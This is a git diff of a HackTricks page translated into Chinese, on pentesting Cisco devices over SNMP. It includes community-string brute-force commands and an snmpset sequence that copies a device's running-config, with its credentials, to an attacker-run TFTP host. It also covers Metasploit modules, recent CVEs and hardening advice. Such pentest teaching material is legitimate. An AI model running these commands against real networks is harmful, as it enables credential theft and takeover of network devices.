mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/network-services-pentesting/pentesting-snmp/cisco-snmp.
This commit is contained in:
		
							parent
							
								
									5b64b2e262
								
							
						
					
					
						commit
						da0074a757
					
				@ -4,34 +4,92 @@
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
## Pentesting Cisco Networks
 | 
					## Pentesting Cisco Networks
 | 
				
			||||||
 | 
					
 | 
				
			||||||
**SNMP** 通过 UDP 在 161/UDP 端口上处理一般消息,在 162/UDP 端口上处理陷阱消息。该协议依赖于社区字符串,作为密码使 SNMP 代理和服务器之间能够通信。这些字符串至关重要,因为它们决定了访问级别,具体为 **只读 (RO) 或读写 (RW) 权限**。对于渗透测试人员来说,一个显著的攻击向量是 **暴力破解社区字符串**,旨在渗透网络设备。
 | 
					**SNMP** 通过 UDP 在 **161/UDP** 端口上处理一般消息,在 **162/UDP** 端口上处理陷阱消息。该协议依赖于 *community strings*,作为明文“密码”,使 SNMP 代理和管理者之间能够进行通信。这些字符串决定了访问级别,具体为 **只读 (RO) 或读写 (RW) 权限**。
 | 
				
			||||||
 | 
					
 | 
				
			||||||
执行此类暴力攻击的实用工具是 [**onesixtyone**](https://github.com/trailofbits/onesixtyone),它需要潜在社区字符串的列表和目标的 IP 地址:
 | 
					一个经典但仍然极其有效的攻击向量是 **暴力破解 community strings**,以便从未认证用户提升为设备管理员 (RW community)。执行此任务的实用工具是 [**onesixtyone**](https://github.com/trailofbits/onesixtyone):
 | 
				
			||||||
```bash
 | 
					```bash
 | 
				
			||||||
onesixtyone -c communitystrings -i targets
 | 
					onesixtyone -c community_strings.txt -i targets.txt
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
#### `cisco_config_tftp`
 | 
					其他快速选项是 Nmap NSE 脚本 `snmp-brute` 或 Hydra 的 SNMP 模块:
 | 
				
			||||||
 | 
					 | 
				
			||||||
Metasploit 框架包含 `cisco_config_tftp` 模块,便于提取设备配置,前提是获取 RW 社区字符串。此操作的基本参数包括:
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
- RW 社区字符串 (**COMMUNITY**)
 | 
					 | 
				
			||||||
- 攻击者的 IP (**LHOST**)
 | 
					 | 
				
			||||||
- 目标设备的 IP (**RHOSTS**)
 | 
					 | 
				
			||||||
- 配置文件的目标路径 (**OUTPUTDIR**)
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
配置完成后,此模块允许将设备设置直接下载到指定文件夹。
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
#### `snmp_enum`
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
另一个 Metasploit 模块,**`snmp_enum`**,专门用于收集详细的硬件信息。它可以使用任意类型的社区字符串,并需要目标的 IP 地址以成功执行:
 | 
					 | 
				
			||||||
```bash
 | 
					```bash
 | 
				
			||||||
msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public
 | 
					nmap -sU -p161 --script snmp-brute --script-args brute.community=wordlist 10.0.0.0/24
 | 
				
			||||||
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10
 | 
					hydra -P wordlist.txt -s 161 10.10.10.1 snmp
 | 
				
			||||||
msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
 | 
					 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
## 参考
 | 
					---
 | 
				
			||||||
 | 
					
 | 
				
			||||||
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
 | 
					### 通过 SNMP 转储配置 (CISCO-CONFIG-COPY-MIB)
 | 
				
			||||||
 | 
					如果您获得了一个 **RW community**,您可以通过滥用 CISCO-CONFIG-COPY-MIB (`1.3.6.1.4.1.9.9.96`) 将 running-config/startup-config 复制到 TFTP/FTP 服务器 *而无需 CLI 访问*。两种常见的方法是:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					1. **Nmap NSE – `snmp-ios-config`**
 | 
				
			||||||
 | 
					```bash
 | 
				
			||||||
 | 
					nmap -sU -p161 --script snmp-ios-config \
 | 
				
			||||||
 | 
					--script-args creds.snmp=private 192.168.66.1
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					该脚本自动协调复制操作并将配置打印到stdout。
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					2. **手动 `snmpset` 序列**
 | 
				
			||||||
 | 
					```bash
 | 
				
			||||||
 | 
					# Copy running-config (4) to a TFTP server (1) – random row id 1234
 | 
				
			||||||
 | 
					snmpset -v2c -c private 192.168.66.1 \
 | 
				
			||||||
 | 
					1.3.6.1.4.1.9.9.96.1.1.1.1.2.1234 i 1 \    # protocol = tftp
 | 
				
			||||||
 | 
					1.3.6.1.4.1.9.9.96.1.1.1.1.3.1234 i 4 \    # sourceFileType = runningConfig
 | 
				
			||||||
 | 
					1.3.6.1.4.1.9.9.96.1.1.1.1.4.1234 i 1 \    # destFileType   = networkFile
 | 
				
			||||||
 | 
					1.3.6.1.4.1.9.9.96.1.1.1.1.5.1234 a 10.10.14.8 \ # TFTP server IP
 | 
				
			||||||
 | 
					1.3.6.1.4.1.9.9.96.1.1.1.1.6.1234 s \"backup.cfg\" \\
 | 
				
			||||||
 | 
					1.3.6.1.4.1.9.9.96.1.1.1.1.14.1234 i 4       # rowStatus = createAndGo
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					行标识符是*一次性*的;在五分钟内重复使用会触发`inconsistentValue`错误。
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					一旦文件在您的TFTP服务器上,您可以检查凭据(`enable secret`,`username <user> secret`等),甚至可以将修改后的配置推送回设备。
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					---
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					### Metasploit工具
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* **`cisco_config_tftp`** – 在滥用相同MIB后,通过TFTP下载运行配置/启动配置。
 | 
				
			||||||
 | 
					* **`snmp_enum`** – 收集设备清单信息、VLAN、接口描述、ARP表等。
 | 
				
			||||||
 | 
					```bash
 | 
				
			||||||
 | 
					use auxiliary/scanner/snmp/snmp_enum
 | 
				
			||||||
 | 
					set RHOSTS 10.10.100.10
 | 
				
			||||||
 | 
					set COMMUNITY public
 | 
				
			||||||
 | 
					run
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					---
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					## 最近的 Cisco SNMP 漏洞 (2023 – 2025)
 | 
				
			||||||
 | 
					跟踪供应商公告对于在参与中确定 *零日到 n 日* 机会非常有用:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					| 年份 | CVE | 受影响特性 | 影响 |
 | 
				
			||||||
 | 
					|------|-----|-----------------|--------|
 | 
				
			||||||
 | 
					| 2025 | CVE-2025-20174 | SNMP 子系统 | 精心构造的数据包导致在 IOS/IOS-XE (v1/v2c/v3) 上经过身份验证的 *DoS* (重启)。   |
 | 
				
			||||||
 | 
					| 2024 | CVE-2024-20373 | IPv4 ACL 处理 | 配置错误的 **扩展** ACL 静默 *失败*,允许在已知有效社区/用户时进行未经身份验证的 SNMP 轮询。   |
 | 
				
			||||||
 | 
					| 2025 | (尚无 CVE) | SNMPv3 配置限制绕过 | 有效的 v3 用户可以从应被拒绝的地址进行轮询。   |
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					可利用性通常仍然依赖于拥有社区字符串或 v3 凭据——这也是暴力破解它们仍然相关的另一个原因。
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					---
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					## 加固与检测提示
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* 升级到修复的 IOS/IOS-XE 版本(请参阅上述 CVE 的 Cisco 公告)。
 | 
				
			||||||
 | 
					* 优先使用 **SNMPv3** 和 `authPriv` (SHA-256/AES-256) 而不是 v1/v2c。
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					snmp-server group SECURE v3 priv
 | 
				
			||||||
 | 
					snmp-server user monitor SECURE v3 auth sha <authpass> priv aes 256 <privpass>
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					* 将 SNMP 绑定到管理 VRF,并 **使用 *标准* 编号的 IPv4 ACL 限制**(扩展命名 ACL 风险较大 – CVE-2024-20373)。
 | 
				
			||||||
 | 
					* 禁用 **RW 社区**;如果在操作上需要,使用 ACL 和视图限制它们:
 | 
				
			||||||
 | 
					`snmp-server community <string> RW 99  view SysView`
 | 
				
			||||||
 | 
					* 监控:
 | 
				
			||||||
 | 
					- UDP/161 峰值或意外来源(SIEM 规则)。
 | 
				
			||||||
 | 
					- `CISCO-CONFIG-MAN-MIB::ccmHistoryEventConfigSource` 事件,指示带外配置更改。
 | 
				
			||||||
 | 
					* 启用 **SNMPv3 日志记录** 和 `snmp-server packetsize 1500` 以减少某些 DoS 向量。
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					---
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					## 参考文献
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					- Cisco: *如何使用 SNMP 在 Cisco 设备之间复制配置*
 | 
				
			||||||
 | 
					- Cisco 安全公告 *cisco-sa-snmp-uwBXfqww* (CVE-2024-20373)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
{{#include ../../banners/hacktricks-training.md}}
 | 
					{{#include ../../banners/hacktricks-training.md}}
 | 
				
			||||||
 | 
				
			|||||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user